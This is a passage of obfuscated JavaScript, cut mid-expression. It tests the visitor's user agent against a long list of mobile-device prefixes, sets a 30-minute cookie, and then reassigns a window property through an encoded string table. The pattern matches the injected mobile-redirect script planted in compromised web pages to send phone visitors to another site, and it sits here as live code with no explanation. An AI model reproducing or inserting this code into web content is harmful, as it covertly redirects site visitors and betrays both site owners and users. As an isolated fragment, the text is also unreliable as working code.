|\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}